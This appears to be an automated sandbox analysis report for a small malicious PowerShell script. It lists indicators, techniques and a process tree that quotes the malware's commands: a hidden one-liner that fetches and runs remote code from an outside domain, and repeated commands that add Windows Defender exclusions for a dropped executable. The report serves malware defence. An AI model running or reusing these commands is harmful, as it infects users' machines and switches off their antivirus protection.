ba218f1f45c012ffd5d5c9da88f6e873c7f3ab101cd8e0716051e9b191650669

Analysis

max time kernel
149s
max time network
103s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
18/08/2025, 16:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ps1.ps1
Size 66B
Sample250818-vhng4awks9
SHA256 ba218f1f45c012ffd5d5c9da88f6e873c7f3ab101cd8e0716051e9b191650669
MD5 87e8b16f536305fe65d7ff6a8f626aa4
SHA1 786ec7e1954b0f91167770173b432536c997b7fa
SHA512 95d160ecf00f7034457625a8de86d41a7850d5a2ced89319efaa35799ecfae00a7fdaa54d3de180b5d4332576bd658f90f5c375811744f8c9e535c1e391d90ab
MD5 SHA1 SHA512

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	5624	powershell.exe
3	5624	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3476	PowerShell.exe
5624	powershell.exe
3560	powershell.exe
392	powershell.exe
5732	powershell.exe
4472	powershell.exe
3092	powershell.exe
5688	powershell.exe
2028	powershell.exe
4196	powershell.exe
6068	powershell.exe
6108	powershell.exe
2372	powershell.exe
3240	powershell.exe
1332	powershell.exe
1820	powershell.exe
1612	powershell.exe
5576	powershell.exe
4344	powershell.exe
1176	powershell.exe
4368	powershell.exe
5500	powershell.exe
680	powershell.exe
5556	powershell.exe
5020	powershell.exe
4796	powershell.exe
1316	powershell.exe
4460	powershell.exe
4324	powershell.exe
3664	powershell.exe
5680	powershell.exe
4372	powershell.exe
5852	powershell.exe
1164	powershell.exe
3648	powershell.exe
3428	powershell.exe
5860	powershell.exe
5928	powershell.exe
4856	powershell.exe
5200	powershell.exe
1900	powershell.exe
4760	powershell.exe
3056	powershell.exe
5488	powershell.exe
2260	powershell.exe
3032	powershell.exe
1896	powershell.exe
2312	powershell.exe
3444	powershell.exe
5788	powershell.exe
1984	powershell.exe
5944	powershell.exe
4324	powershell.exe
3480	powershell.exe
1920	powershell.exe
1840	powershell.exe
4744	powershell.exe
5556	powershell.exe
5480	powershell.exe
1444	powershell.exe
3552	powershell.exe
4500	powershell.exe
4120	powershell.exe
4616	powershell.exe

Modifies trusted root certificate store through registry 1 TTPs 64 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3476	PowerShell.exe
3476	PowerShell.exe
5624	powershell.exe
5624	powershell.exe
2568	powershell.exe
2568	powershell.exe
5788	powershell.exe
5788	powershell.exe
4372	powershell.exe
4372	powershell.exe
5500	powershell.exe
5500	powershell.exe
5488	powershell.exe
5488	powershell.exe
5556	powershell.exe
5556	powershell.exe
3480	powershell.exe
3480	powershell.exe
3444	powershell.exe
3444	powershell.exe
5852	powershell.exe
5852	powershell.exe
3492	powershell.exe
3492	powershell.exe
4760	powershell.exe
4760	powershell.exe
1896	powershell.exe
1896	powershell.exe
4384	powershell.exe
4384	powershell.exe
2028	powershell.exe
2028	powershell.exe
1200	powershell.exe
1200	powershell.exe
4460	powershell.exe
4460	powershell.exe
5376	powershell.exe
5376	powershell.exe
5528	powershell.exe
5528	powershell.exe
4856	powershell.exe
4856	powershell.exe
5700	powershell.exe
5700	powershell.exe
4324	powershell.exe
4324	powershell.exe
392	powershell.exe
392	powershell.exe
5020	powershell.exe
5020	powershell.exe
1984	powershell.exe
1984	powershell.exe
4500	powershell.exe
4500	powershell.exe
1820	powershell.exe
1820	powershell.exe
5516	powershell.exe
5516	powershell.exe
3464	powershell.exe
3464	powershell.exe
5944	powershell.exe
5944	powershell.exe
4120	powershell.exe
4120	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5624	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3476	PowerShell.exe
Token: SeDebugPrivilege	5624	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	5500	powershell.exe
Token: SeDebugPrivilege	5488	powershell.exe
Token: SeDebugPrivilege	5556	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	5852	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	5376	powershell.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	5700	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	5516	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	5600	powershell.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	5576	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeDebugPrivilege	5732	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 5624	3476	PowerShell.exe	79
PID 3476 wrote to memory of 5624	3476	PowerShell.exe	79
PID 5624 wrote to memory of 2568	5624	powershell.exe	80
PID 5624 wrote to memory of 2568	5624	powershell.exe	80
PID 5624 wrote to memory of 5788	5624	powershell.exe	82
PID 5624 wrote to memory of 5788	5624	powershell.exe	82
PID 5624 wrote to memory of 4372	5624	powershell.exe	84
PID 5624 wrote to memory of 4372	5624	powershell.exe	84
PID 5624 wrote to memory of 5500	5624	powershell.exe	86
PID 5624 wrote to memory of 5500	5624	powershell.exe	86
PID 5624 wrote to memory of 5488	5624	powershell.exe	88
PID 5624 wrote to memory of 5488	5624	powershell.exe	88
PID 5624 wrote to memory of 5556	5624	powershell.exe	90
PID 5624 wrote to memory of 5556	5624	powershell.exe	90
PID 5624 wrote to memory of 3480	5624	powershell.exe	92
PID 5624 wrote to memory of 3480	5624	powershell.exe	92
PID 5624 wrote to memory of 3444	5624	powershell.exe	94
PID 5624 wrote to memory of 3444	5624	powershell.exe	94
PID 5624 wrote to memory of 5852	5624	powershell.exe	96
PID 5624 wrote to memory of 5852	5624	powershell.exe	96
PID 5624 wrote to memory of 3492	5624	powershell.exe	98
PID 5624 wrote to memory of 3492	5624	powershell.exe	98
PID 5624 wrote to memory of 4760	5624	powershell.exe	100
PID 5624 wrote to memory of 4760	5624	powershell.exe	100
PID 5624 wrote to memory of 1896	5624	powershell.exe	102
PID 5624 wrote to memory of 1896	5624	powershell.exe	102
PID 5624 wrote to memory of 4384	5624	powershell.exe	104
PID 5624 wrote to memory of 4384	5624	powershell.exe	104
PID 5624 wrote to memory of 2028	5624	powershell.exe	106
PID 5624 wrote to memory of 2028	5624	powershell.exe	106
PID 5624 wrote to memory of 1200	5624	powershell.exe	108
PID 5624 wrote to memory of 1200	5624	powershell.exe	108
PID 5624 wrote to memory of 4460	5624	powershell.exe	110
PID 5624 wrote to memory of 4460	5624	powershell.exe	110
PID 5624 wrote to memory of 5376	5624	powershell.exe	112
PID 5624 wrote to memory of 5376	5624	powershell.exe	112
PID 5624 wrote to memory of 5528	5624	powershell.exe	114
PID 5624 wrote to memory of 5528	5624	powershell.exe	114
PID 5624 wrote to memory of 4856	5624	powershell.exe	116
PID 5624 wrote to memory of 4856	5624	powershell.exe	116
PID 5624 wrote to memory of 5700	5624	powershell.exe	118
PID 5624 wrote to memory of 5700	5624	powershell.exe	118
PID 5624 wrote to memory of 4324	5624	powershell.exe	120
PID 5624 wrote to memory of 4324	5624	powershell.exe	120
PID 5624 wrote to memory of 392	5624	powershell.exe	122
PID 5624 wrote to memory of 392	5624	powershell.exe	122
PID 5624 wrote to memory of 5020	5624	powershell.exe	124
PID 5624 wrote to memory of 5020	5624	powershell.exe	124
PID 5624 wrote to memory of 1984	5624	powershell.exe	126
PID 5624 wrote to memory of 1984	5624	powershell.exe	126
PID 5624 wrote to memory of 4500	5624	powershell.exe	128
PID 5624 wrote to memory of 4500	5624	powershell.exe	128
PID 5624 wrote to memory of 1820	5624	powershell.exe	130
PID 5624 wrote to memory of 1820	5624	powershell.exe	130
PID 5624 wrote to memory of 5516	5624	powershell.exe	132
PID 5624 wrote to memory of 5516	5624	powershell.exe	132
PID 5624 wrote to memory of 3464	5624	powershell.exe	134
PID 5624 wrote to memory of 3464	5624	powershell.exe	134
PID 5624 wrote to memory of 5944	5624	powershell.exe	136
PID 5624 wrote to memory of 5944	5624	powershell.exe	136
PID 5624 wrote to memory of 4120	5624	powershell.exe	138
PID 5624 wrote to memory of 4120	5624	powershell.exe	138
PID 5624 wrote to memory of 3664	5624	powershell.exe	140
PID 5624 wrote to memory of 3664	5624	powershell.exe	140

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps1.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -ep b -c "iex (iwr boiksal.com/upd -useb).Content"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies trusted root certificate store through registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4760
